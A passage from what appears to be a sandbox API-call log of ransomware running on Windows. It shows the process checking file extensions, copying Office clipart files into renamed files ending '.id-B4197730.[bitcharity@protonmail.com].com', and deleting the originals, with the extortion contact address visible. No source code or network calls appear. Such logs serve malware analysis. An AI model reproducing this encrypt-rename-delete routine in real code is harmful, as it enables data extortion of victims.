Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0298.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0298.026] lstrlenW (lpString=".doc") returned 4 [0298.026] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.026] lstrlenW (lpString=".docx") returned 5 [0298.026] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.026] lstrlenW (lpString=".pdf") returned 4 [0298.026] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.026] lstrlenW (lpString=".xls") returned 4 [0298.026] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.026] lstrlenW (lpString=".xlsx") returned 5 [0298.026] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.026] lstrlenW (lpString=".ppt") returned 4 [0298.026] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0298.026] lstrlenW (lpString=".zip") returned 4 [0298.026] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.026] lstrlenW (lpString=".rar") returned 4 [0298.026] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.026] lstrlenW (lpString=".bz2") returned 4 [0298.026] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.026] lstrlenW (lpString=".7z") returned 3 [0298.026] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0298.026] lstrlenW (lpString=".dbf") returned 4 [0298.026] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0298.026] lstrlenW (lpString=".1cd") returned 4 [0298.026] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0298.027] lstrlenW (lpString=".jpg") returned 4 [0298.027] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0298.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0298.027] lstrlenW (lpString=".doc") returned 4 [0298.027] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.027] lstrlenW (lpString=".docx") returned 5 [0298.027] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.027] lstrlenW (lpString=".pdf") returned 4 [0298.027] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.027] lstrlenW (lpString=".xls") returned 4 [0298.027] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.027] lstrlenW (lpString=".xlsx") returned 5 [0298.027] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.027] lstrlenW (lpString=".ppt") returned 4 [0298.027] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0298.027] lstrlenW (lpString=".zip") returned 4 [0298.027] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.027] lstrlenW (lpString=".rar") returned 4 [0298.027] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.027] lstrlenW (lpString=".bz2") returned 4 [0298.027] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.027] lstrlenW (lpString=".7z") returned 3 [0298.027] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0298.027] lstrlenW (lpString=".dbf") returned 4 [0298.027] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0298.027] lstrlenW (lpString=".1cd") returned 4 [0298.027] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0298.027] lstrlenW (lpString=".jpg") returned 4 [0298.027] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.028] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0298.028] lstrlenW (lpString="FD00543_.WMF") returned 12 [0298.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0298.028] GetFileSizeEx (in: hFile=0x10cc, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=1472) returned 1 [0298.028] CloseHandle (hObject=0x10cc) returned 1 [0298.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 0x220 [0298.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0298.028] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.028] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0298.029] GetLastError () returned 0x0 [0298.029] ReadFile (in: hFile=0x10cc, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x5c0, lpOverlapped=0x0) returned 1 [0298.060] WriteFile (in: hFile=0x10c0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x5d0, lpOverlapped=0x0) returned 1 [0298.062] ReadFile (in: hFile=0x10cc, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.062] WriteFile (in: hFile=0x10c0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0298.062] SetEndOfFile (hFile=0x10c0) returned 1 [0298.062] CloseHandle (hObject=0x10c0) returned 1 [0298.062] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.062] SetEndOfFile (hFile=0x10cc) returned 1 [0298.063] CloseHandle (hObject=0x10cc) returned 1 [0298.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.063] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 1 [0298.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0298.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0298.063] lstrlenW (lpString=".doc") returned 4 [0298.063] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.063] lstrlenW (lpString=".docx") returned 5 [0298.063] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.063] lstrlenW (lpString=".pdf") returned 4 [0298.063] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.063] lstrlenW (lpString=".xls") returned 4 [0298.063] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.063] lstrlenW (lpString=".xlsx") returned 5 [0298.064] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.064] lstrlenW (lpString=".ppt") returned 4 [0298.064] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0298.064] lstrlenW (lpString=".zip") returned 4 [0298.064] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.064] lstrlenW (lpString=".rar") returned 4 [0298.064] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.064] lstrlenW (lpString=".bz2") returned 4 [0298.064] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.064] lstrlenW (lpString=".7z") returned 3 [0298.064] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0298.064] lstrlenW (lpString=".dbf") returned 4 [0298.064] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0298.064] lstrlenW (lpString=".1cd") returned 4 [0298.064] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0298.064] lstrlenW (lpString=".jpg") returned 4 [0298.064] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0298.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0298.064] lstrlenW (lpString=".doc") returned 4 [0298.064] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.064] lstrlenW (lpString=".docx") returned 5 [0298.064] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.064] lstrlenW (lpString=".pdf") returned 4 [0298.064] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.064] lstrlenW (lpString=".xls") returned 4 [0298.064] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.064] lstrlenW (lpString=".xlsx") returned 5 [0298.064] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.064] lstrlenW (lpString=".ppt") returned 4 [0298.064] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0298.064] lstrlenW (lpString=".zip") returned 4 [0298.065] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.065] lstrlenW (lpString=".rar") returned 4 [0298.065] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.065] lstrlenW (lpString=".bz2") returned 4 [0298.065] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.065] lstrlenW (lpString=".7z") returned 3 [0298.065] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0298.065] lstrlenW (lpString=".dbf") returned 4 [0298.065] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0298.065] lstrlenW (lpString=".1cd") returned 4 [0298.065] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0298.065] lstrlenW (lpString=".jpg") returned 4 [0298.065] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.065] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0298.065] lstrlenW (lpString="FD00779_.WMF") returned 12 [0298.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0298.066] GetFileSizeEx (in: hFile=0x10cc, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=9010) returned 1 [0298.066] CloseHandle (hObject=0x10cc) returned 1 [0298.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf")) returned 0x220 [0298.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0298.066] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.066] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0298.066] GetLastError () returned 0x0 [0298.066] ReadFile (in: hFile=0x10cc, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x2332, lpOverlapped=0x0) returned 1 [0298.363] WriteFile (in: hFile=0x10c0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x2340, lpOverlapped=0x0) returned 1 [0298.364] ReadFile (in: hFile=0x10cc, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.364] WriteFile (in: hFile=0x10c0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0298.364] SetEndOfFile (hFile=0x10c0) returned 1 [0298.364] CloseHandle (hObject=0x10c0) returned 1 [0298.364] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.364] SetEndOfFile (hFile=0x10cc) returned 1 [0298.365] CloseHandle (hObject=0x10cc) returned 1 [0298.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.386] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf")) returned 1 [0298.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0298.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0298.386] lstrlenW (lpString=".doc") returned 4 [0298.386] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.386] lstrlenW (lpString=".docx") returned 5 [0298.386] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.386] lstrlenW (lpString=".pdf") returned 4 [0298.386] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.386] lstrlenW (lpString=".xls") returned 4 [0298.386] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.386] lstrlenW (lpString=".xlsx") returned 5 [0298.386] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.386] lstrlenW (lpString=".ppt") returned 4 [0298.386] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0298.386] lstrlenW (lpString=".zip") returned 4 [0298.386] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.386] lstrlenW (lpString=".rar") returned 4 [0298.386] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.387] lstrlenW (lpString=".bz2") returned 4 [0298.387] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.387] lstrlenW (lpString=".7z") returned 3 [0298.387] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0298.387] lstrlenW (lpString=".dbf") returned 4 [0298.387] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0298.387] lstrlenW (lpString=".1cd") returned 4 [0298.387] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0298.387] lstrlenW (lpString=".jpg") returned 4 [0298.387] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0298.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0298.387] lstrlenW (lpString=".doc") returned 4 [0298.387] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.387] lstrlenW (lpString=".docx") returned 5 [0298.387] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.387] lstrlenW (lpString=".pdf") returned 4 [0298.387] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.387] lstrlenW (lpString=".xls") returned 4 [0298.387] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.387] lstrlenW (lpString=".xlsx") returned 5 [0298.387] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.387] lstrlenW (lpString=".ppt") returned 4 [0298.387] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0298.387] lstrlenW (lpString=".zip") returned 4 [0298.387] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.387] lstrlenW (lpString=".rar") returned 4 [0298.388] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.388] lstrlenW (lpString=".bz2") returned 4 [0298.388] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.388] lstrlenW (lpString=".7z") returned 3 [0298.388] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0298.388] lstrlenW (lpString=".dbf") returned 4 [0298.388] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0298.388] lstrlenW (lpString=".1cd") returned 4 [0298.388] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0298.388] lstrlenW (lpString=".jpg") returned 4 [0298.388] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.388] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0298.388] lstrlenW (lpString="FD01074_.WMF") returned 12 [0298.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0298.389] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=4634) returned 1 [0298.389] CloseHandle (hObject=0x10bc) returned 1 [0298.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf")) returned 0x220 [0298.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0298.389] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.389] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0298.390] GetLastError () returned 0x0 [0298.390] ReadFile (in: hFile=0x10bc, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x121a, lpOverlapped=0x0) returned 1 [0298.411] WriteFile (in: hFile=0x10dc, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x1220, lpOverlapped=0x0) returned 1 [0298.414] ReadFile (in: hFile=0x10bc, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.414] WriteFile (in: hFile=0x10dc, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0298.414] SetEndOfFile (hFile=0x10dc) returned 1 [0298.414] CloseHandle (hObject=0x10dc) returned 1 [0298.414] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.414] SetEndOfFile (hFile=0x10bc) returned 1 [0298.415] CloseHandle (hObject=0x10bc) returned 1 [0298.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.415] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf")) returned 1 [0298.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0298.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0298.416] lstrlenW (lpString=".doc") returned 4 [0298.416] lstrcmpiW 